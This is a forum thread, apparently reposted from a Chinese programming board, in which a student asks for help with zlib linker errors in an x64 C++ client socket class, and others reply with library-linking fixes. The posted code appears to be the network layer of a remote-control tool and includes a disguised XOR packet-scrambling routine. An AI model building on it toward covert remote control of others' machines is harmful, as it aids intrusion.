
請大神 解決。奉上200RMB紅包。 QQ:1852669904
1>ClientSocket.obj : error LNK2019: 無法決議的外部符號 compress,該符號在函式 "public: int __cdecl CClientSocket::Send(unsigned char *,unsigned int)" (?Send@CClientSocket@@QEAAHPEAEI@Z) 中被參考
1>ClientSocket.obj : error LNK2019: 無法決議的外部符號 uncompress,該符號在函式 "public: void __cdecl CClientSocket::OnRead(unsigned char *,unsigned long)" (?OnRead@CClientSocket@@QEAAXPEAEK@Z) 中被參考
uj5u.com熱心網友回復:
#pragma comment(lib, "zlib.lib")這200掙的好輕松,不過我怎么覺得“太輕松”了?
uj5u.com熱心網友回復:
不行加了還是報錯位置都是對的
#include "ClientSocket.h"
#include "zlib/zlib.h"
#include <process.h>
#include <MSTcpIP.h>
#include "common/Manager.h"
#include "common/until.h"
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "zlib.lib")
void feixiang(LPBYTE FBlokjm, unsigned long FBSZ)//加密封包類成員
{
try
{
if(1+1==2)throw 73;
}
catch (...)
{
//該陣列用來異或
WORD AddTable[]={
1,2,3,4,5,6,7,8,9,9,8,7,6,5,
4,3,2,1,0,1,2,3,4,5,6,7,8,9,
0,1,2,3,4,5,6,7,8,9,9,8,7,6,
1,2,3,4,5,6,7,8,9,9,8,7,6,5
};
WORD TableSize = sizeof(AddTable)/sizeof(WORD);
WORD iCount=0;
unsigned long To=FBSZ/3;
for (unsigned long i=0;i<To;i++)
{
if(iCount == TableSize)
iCount = 0;
FBlokjm[i]^=AddTable[iCount];
iCount++;
}
}
}
CClientSocket::CClientSocket()
{
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
m_hEvent = CreateEvent(NULL, true, false, NULL);
m_bIsRunning = false;
m_Socket = INVALID_SOCKET;
m_hWorkerThread = NULL;
}
CClientSocket::~CClientSocket()
{
m_bIsRunning = false;
WaitForSingleObject(m_hWorkerThread, INFINITE);
if (m_Socket != INVALID_SOCKET)
Disconnect();
if (m_hWorkerThread !=NULL)
{
CloseHandle(m_hWorkerThread);
m_hWorkerThread = NULL;
}
CloseHandle(m_hEvent);
WSACleanup();
}
DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam)
{
CClientSocket *pThis = (CClientSocket *)lparam;
char buff[MAX_RECV_BUFFER];
fd_set fdSocket;
FD_ZERO(&fdSocket);
FD_SET(pThis->m_Socket, &fdSocket);
while (pThis->IsRunning())
{
fd_set fdRead = fdSocket;
int nRet = select(NULL, &fdRead, NULL, NULL, NULL);
if (nRet == SOCKET_ERROR)
{
pThis->Disconnect();
break;
}
if (nRet > 0)
{
memset(buff, 0, sizeof(buff));
int nSize = recv(pThis->m_Socket, buff, sizeof(buff), 0);
if (nSize <= 0)
{
pThis->Disconnect();
break;
}
if (nSize > 0) pThis->OnRead((LPBYTE)buff, nSize);
}
}
return -1;
}
void CClientSocket::run_event_loop()
{
WaitForSingleObject(m_hEvent, INFINITE);
}
bool CClientSocket::IsRunning()
{
return m_bIsRunning;
}
int CClientSocket::Send( LPBYTE lpData, UINT nSize )
{
m_WriteBuffer.ClearBuffer();
if (nSize > 0)
{
unsigned long destLen = (double)nSize * 1.001 + 12;
LPBYTE pDest = new BYTE[destLen];
ZeroMemory(pDest,destLen);
int nRet = compress(pDest, &destLen, lpData, nSize);
if (nRet != Z_OK)
{
delete [] pDest;
return -1;
}
int nCompLen = destLen;
m_WriteBuffer.Write((PBYTE)&nCompLen,sizeof(int));
m_WriteBuffer.Write(pDest, destLen);
m_WriteBuffer.Write((PBYTE)&nSize,sizeof(int));
delete [] pDest;
return SendWithSplit(m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLen(), MAX_SEND_BUFFER);
}
else
{
return -1;
}
}
void CClientSocket::OnRead( LPBYTE lpBuffer, DWORD dwIoSize )
{
if (dwIoSize == 0)
{
Disconnect();
return;
}
m_CompressionBuffer.Write(lpBuffer, dwIoSize);
while (m_CompressionBuffer.GetBufferLen() > HDR_SIZE)
{
int nCompressLen = 0;
CopyMemory(&nCompressLen, m_CompressionBuffer.GetBuffer(), sizeof(int));
if (nCompressLen && (m_CompressionBuffer.GetBufferLen()) - HDR_SIZE >= nCompressLen)
{
int nBeforeCompressLen = 0;
m_CompressionBuffer.Read((PBYTE)&nCompressLen,sizeof(int));
int nAfterCompressLen = nCompressLen ;
PBYTE pData = new BYTE[nAfterCompressLen];
ZeroMemory(pData,nAfterCompressLen);
m_CompressionBuffer.Read(pData, nAfterCompressLen);
m_CompressionBuffer.Read((PBYTE)&nBeforeCompressLen,sizeof(int));
PBYTE pDeCompressionData = new BYTE[nBeforeCompressLen];
ZeroMemory(pDeCompressionData,nBeforeCompressLen);
//////////////////////////////////////////////////////////////////////////
unsigned long destLen = nBeforeCompressLen;
int nRet = uncompress(pDeCompressionData, &destLen, pData, nAfterCompressLen);
//////////////////////////////////////////////////////////////////////////
if (nRet == Z_OK)
{
m_DeCompressionBuffer.ClearBuffer();
m_DeCompressionBuffer.Write(pDeCompressionData, destLen);
m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());
}
delete [] pData;
delete [] pDeCompressionData;
}
else
break;
}
}
int CClientSocket::SendWithSplit(LPBYTE lpData, UINT nSize, UINT nSplitSize)
{
int nRet = 0;
const char *pbuf = (char *)lpData;
int size = 0;
int nSend = 0;
int nSendRetry = 15;
int i;
// 依次發送
for (size = nSize; size >= nSplitSize; size -= nSplitSize)
{
for (i = 0; i < nSendRetry; i++)
{
nRet = send(m_Socket, pbuf, nSplitSize, 0);
if (nRet > 0)
break;
}
if (i == nSendRetry)
return -1;
nSend += nRet;
pbuf += nSplitSize;
Sleep(10); // 必要的Sleep,過快會引起控制端資料混亂
}
// 發送最后的部分
if (size > 0)
{
for (int i = 0; i < nSendRetry; i++)
{
nRet = send(m_Socket, (char *)pbuf, size, 0);
if (nRet > 0)
break;
}
if (i == nSendRetry)
return -1;
nSend += nRet;
}
if (nSend == nSize)
return nSend;
else
return SOCKET_ERROR;
}
void CClientSocket::Disconnect()
{
LINGER lingerStruct;
lingerStruct.l_onoff = 1;
lingerStruct.l_linger = 0;
setsockopt(m_Socket, SOL_SOCKET, SO_LINGER, (char *)&lingerStruct, sizeof(lingerStruct) );
CancelIo((HANDLE) m_Socket);
InterlockedExchange((LPLONG)&m_bIsRunning, false);
closesocket(m_Socket);
SetEvent(m_hEvent);
m_Socket = INVALID_SOCKET;
if (m_hWorkerThread !=NULL)
{
CloseHandle(m_hWorkerThread);
m_hWorkerThread = NULL;
}
}
void CClientSocket::setManagerCallBack( CManager *pManager )
{
m_pManager = pManager;
}
bool CClientSocket::Connect(LPCTSTR lpszHost, UINT nPort)
{
// 一定要清除一下,不然socket會耗盡系統資源
Disconnect();
// 重置事件對像
ResetEvent(m_hEvent);
m_bIsRunning = false;
m_Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (m_Socket == SOCKET_ERROR)
{
return false;
}
hostent* pHostent = NULL;
pHostent = gethostbyname(lpszHost);
if (pHostent == NULL)
return false;
// 構造sockaddr_in結構
sockaddr_in ClientAddr;
ClientAddr.sin_family = AF_INET;
ClientAddr.sin_port = htons(nPort);
ClientAddr.sin_addr = *((struct in_addr *)pHostent->h_addr);
if (connect(m_Socket, (SOCKADDR *)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR)
return false;
unsigned long chOpt = 1; // True
// Set KeepAlive 開啟保活機制, 防止服務端產生死連接
if (setsockopt(m_Socket, SOL_SOCKET, SO_KEEPALIVE, (char *)&chOpt, sizeof(chOpt)) == 0)
{
// 設定超時詳細資訊
tcp_keepalive klive;
klive.onoff = 1; // 啟用保活
klive.keepalivetime = 1000 * 60 * 3; // 3分鐘超時 Keep Alive
klive.keepaliveinterval = 1000 * 5; // 重試間隔為5秒 Resend if No-Reply
WSAIoctl
(
m_Socket,
SIO_KEEPALIVE_VALS,
&klive,
sizeof(tcp_keepalive),
NULL,
0,
(unsigned long *)&chOpt,
0,
NULL
);
}
m_bIsRunning = true;
m_hWorkerThread = (HANDLE)MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL, true);
return true;
}
uj5u.com熱心網友回復:
請大神,加我Q完善。 紅包非常愿意奉上uj5u.com熱心網友回復:
將zlib.lib放到cpp的同級目錄下即可uj5u.com熱心網友回復:
另外,這個問題,不值200塊,給200分就行了,哈哈哈uj5u.com熱心網友回復:
或者修改專案屬性中也可以:

將zlib.lib所在目錄添加上去也可以
uj5u.com熱心網友回復:
不行 我是64位專案 。真的 請求 修復uj5u.com熱心網友回復:
看來你這200分我都掙不到,別說200塊錢了我這 平臺 里面選 x64 不就和你那個一樣了嗎?剛畢業?還是沒畢業?
uj5u.com熱心網友回復:
沒畢業哎!!uj5u.com熱心網友回復:
右鍵選擇你的專案 :

出現如6樓所示界面,
然后選擇
配置屬性-》連接器-》常規
找到 附加庫目錄, 按照下圖所示操作:

選擇 編輯 出現下圖界面:

然后 按照 界面 操作即可
只能幫你到這了,如果還不會,或者用的不是VS,那請先去熟悉一下你所用的IDE,在來寫代碼
uj5u.com熱心網友回復:
指導新手不易,近兩年難得見到沈兄uj5u.com熱心網友回復:
瞎說,最近一段時間(3個月內)我經常逛壇子好吧,倒是你很難一見啊
uj5u.com熱心網友回復:
嗯,我自14年創業開始就很少上了。創業團隊內訌分崩離析,給自己留了一大爛攤子,現在在逐個去補,只作業累了偶爾上來逛一圈。
uj5u.com熱心網友回復:
指導新手不易,近兩年難得見到沈兄
瞎說,最近一段時間(3個月內)我經常逛壇子好吧,倒是你很難一見啊
嗯,我自14年創業開始就很少上了。創業團隊內訌分崩離析,給自己留了一大爛攤子,現在在逐個去補,只作業累了偶爾上來逛一圈。
哎,現在壇子上的老人越來越少了。
uj5u.com熱心網友回復:
指導新手不易,近兩年難得見到沈兄
老兄好久不見,進來可好?
uj5u.com熱心網友回復:
指導新手不易,近兩年難得見到沈兄
老兄好久不見,進來可好?
好久不見仁兄,近幾年身體狀況每況愈下,才想通作業是其次的。你呢,最近如何。
uj5u.com熱心網友回復:
指導新手不易,近兩年難得見到沈兄
老兄好久不見,進來可好?
好久不見仁兄,近幾年身體狀況每況愈下,才想通作業是其次的。你呢,最近如何。
我還好。愿君保重身體,錢是掙不完的,健康平安才是最重要的
uj5u.com熱心網友回復:
我掙的最輕松的是回復“百度搜相關關鍵字。”
uj5u.com熱心網友回復:
用了其它庫的東西,但你又不加載這個庫,當然不行。這就好比寫論文,某個結論哪里來的,要說明的,要列出參考文獻!!
轉載請註明出處,本文鏈接:https://www.uj5u.com/gongcheng/108159.html
標籤:網絡編程
上一篇:有沒有辦法加速MFC LISTCTRL 的顯示與填充
下一篇:MFC瀏覽器點擊無反應
